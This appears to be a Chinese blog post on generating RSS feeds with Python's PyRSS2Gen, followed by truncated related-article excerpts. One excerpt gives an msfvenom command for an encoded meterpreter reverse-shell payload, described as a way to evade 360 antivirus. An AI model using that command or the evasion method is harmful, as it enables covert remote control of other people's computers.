python生成RSS(PyRSS2Gen)

既然能够用python解析rss,那么也顺带研究下生成rss。

其实很简单,只是生成一个比较特殊点的xml文档而已。

这里我使用了PyRss2Gen,用法很简单,看代码就知道了,如下:


 1 import datetime
2 import PyRSS2Gen
3
4 rss = PyRSS2Gen.RSS2(
5 title = "Andrew‘s PyRSS2Gen feed",
6 link = "http://www.dalkescientific.com/Python/PyRSS2Gen.html",
7 description = "The latest news about PyRSS2Gen, a "
8 "Python library for generating RSS2 feeds",
9
10 lastBuildDate = datetime.datetime.now(),
11
12 items = [
13 PyRSS2Gen.RSSItem(
14 title = "PyRSS2Gen-0.0 released",
15 link = "http://www.dalkescientific.com/news/030906-PyRSS2Gen.html",
16 description = "Dalke Scientific today announced PyRSS2Gen-0.0, "
17 "a library for generating RSS feeds for Python. ",
18 guid = PyRSS2Gen.Guid("http://www.dalkescientific.com/news/"
19 "030906-PyRSS2Gen.html"),
20 pubDate = datetime.datetime(2003, 9, 6, 21, 31)),
21 PyRSS2Gen.RSSItem(
22 title = "Thoughts on RSS feeds for bioinformatics",
23 link = "http://www.dalkescientific.com/writings/diary/"
24 "archive/2003/09/06/RSS.html",
25 description = "One of the reasons I wrote PyRSS2Gen was to "
26 "experiment with RSS for data collection in "
27 "bioinformatics. Last year I came across...",
28 guid = PyRSS2Gen.Guid("http://www.dalkescientific.com/writings/"
29 "diary/archive/2003/09/06/RSS.html"),
30 pubDate = datetime.datetime(2003, 9, 6, 21, 49)),
31 ])
32
33 rss.write_xml(open("pyrss2gen.xml", "w"))

这个生成的rss文档是这样的:


 1 <?xml version="1.0" encoding="iso-8859-1"?>
2 <rss version="2.0">
3 <channel>
4 <title>Andrew‘s PyRSS2Gen feed</title>
5 <link>http://www.dalkescientific.com/Python/PyRSS2Gen.html</link>
6 <description>The latest news about PyRSS2Gen, a Python library for generating RSS2 feeds</description>
7 <lastBuildDate>Thu, 15 May 2014 20:24:12 GMT</lastBuildDate>
8 <generator>PyRSS2Gen-1.1.0</generator>
9 <docs>http://blogs.law.harvard.edu/tech/rss</docs>
10 <item>
11 <title>PyRSS2Gen-0.0 released</title>
12 <link>http://www.dalkescientific.com/news/030906-PyRSS2Gen.html</link>
13 <description>Dalke Scientific today announced PyRSS2Gen-0.0, a library for generating RSS feeds for Python. </description>
14 <guid isPermaLink="true">http://www.dalkescientific.com/news/030906-PyRSS2Gen.html</guid>
15 <pubDate>Sat, 06 Sep 2003 21:31:00 GMT</pubDate>
16 </item>
17 <item>
18 <title>Thoughts on RSS feeds for bioinformatics</title>
19 <link>http://www.dalkescientific.com/writings/diary/archive/2003/09/06/RSS.html</link>
20 <description>One of the reasons I wrote PyRSS2Gen was to experiment with RSS for data collection in bioinformatics. Last year I came across...</description>
21 <guid isPermaLink="true">http://www.dalkescientific.com/writings/diary/archive/2003/09/06/RSS.html</guid>
22 <pubDate>Sat, 06 Sep 2003 21:49:00 GMT</pubDate>
23 </item>
24 </channel>
25 </rss>

python生成RSS(PyRSS2Gen),布布扣,bubuko.com

时间: 2024-10-06 09:26:02

python生成RSS(PyRSS2Gen)的相关文章

python解析RSS(feedparser)

虽然说当今的博客已经不像前几年那么火了,但是RSS还是一项很有创造性和实用性的东西.RSS 是用于分发 Web 站点上的内容的摘要的一种简单的 XML 格式.它能够用于共享各种各样的信息.关于RSS的详细信息在(http://www.rssboard.org/rss-profile),这里面详细的讲了各种值的含义(虽然各个版本的支持不太一样,但是还是比较有通用性的).这里我先介绍一下怎么使用feedparser操作RSS然后再介绍一些常用的属性,也方便大家实验:一.feedparser的安装首先

Python生成测试数据

本文出自:http://blog.csdn.net/svitter 生成1~10的随机数1000个: import random fp = open("test", 'w'); for i in range(1, 1000): a = random.randint(1,10) fp.write(str(a)+"\n"); fp.close(); 注意:写入文件的不会在最后写入,而是重新写文件. Python生成测试数据,布布扣,bubuko.com

python生成测试图片

直接代码 1 import cv2.cv as cv 2 saveImagePath = 'E:/ScreenTestImages/' 3 4 colorRed = [0,0,255] 5 colorGreen = [0,255,0] 6 colorBlue = [255,0,0] 7 colorWhite = [255,255,255] 8 colorBlack = [0,0,0] 9 colorAqua = [255,255,0] 10 colorFuchsia = [255,0,255]

python生成词云

期末复习比较忙过段时间来专门写scrapy框架使用,今天介绍如何用python生成词云,虽然网上有很多词云生成工具,不过自己用python来写是不是更有成就感. 今天要生成的是励志歌曲的词云,百度文库里面找了20来首,如<倔强>,海阔天空是,什么的大家熟悉的. 所要用到的python库有 jieba(一个中文分词库).wordcould .matplotlib.PIL.numpy. 首先我们要做的是读取歌词.我将歌词存在了文件目录下励志歌曲文本中. 现在来读取他 #encoding=gbk l

Python 生成随机验证码

Python生成随机验证码 Python生成随机验证码,需要使用PIL模块. 安装: 1 pip3 install pillow 基本使用 1. 创建图片 1 2 3 4 5 6 7 8 9 from PIL import Image img = Image.new(mode='RGB', size=(120, 30), color=(255, 255, 255)) # 在图片查看器中打开 # img.show()  # 保存在本地 with open('code.png','wb') as f

Metasploit+python生成免杀exe过360杀毒

Metasploit+python生成免杀exe过360杀毒 1在kali下生成一个反弹的msf的python脚本,命令如下: msfvenom -p windows/meterpreter/reverse_tcp LPORT=443 LHOST=192.1681.102 -e x86/shikata_ga_nai -i 11 -f py -o /opt/bk.py 2.拷贝出bk.py到window32系统进行修改,修改如下(这里的红色标注是修改增加的代码,其他不变) from ctypes

python 生成二维码

#coding:utf8 try: import qrcode except ImportError: qrcode = None class MakeQr: def onUseQrcode(self, value): qr = qrcode.QRCode(version=1, box_size=10, border=4) qr.add_data(value) qr.make(fit=True) x = qr.make_image() img_file = open("1.jpg",

python生成随机验证码

Python 生成随机验证码,需安装 PIL模块 安装: pip3 install pillow 基本使用 1,.创建图片 from PIL import Image img = Image.new(mode='RGB', size=(120, 30), color=(255, 255, 255)) # 在图片查看器中打开 # img.show() # 保存在本地 with open('code.png','wb') as f: img.save(f,format='png') 2.创建画笔,用

python 生成随机密码

python生成随机密码串 python 的random模块可以生成随机数,主要用这个生成随机密码. string模块中的3个函数:string.letters,string.printable,string.printable >>> import string >>> string.letters 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' >>> string.digits '01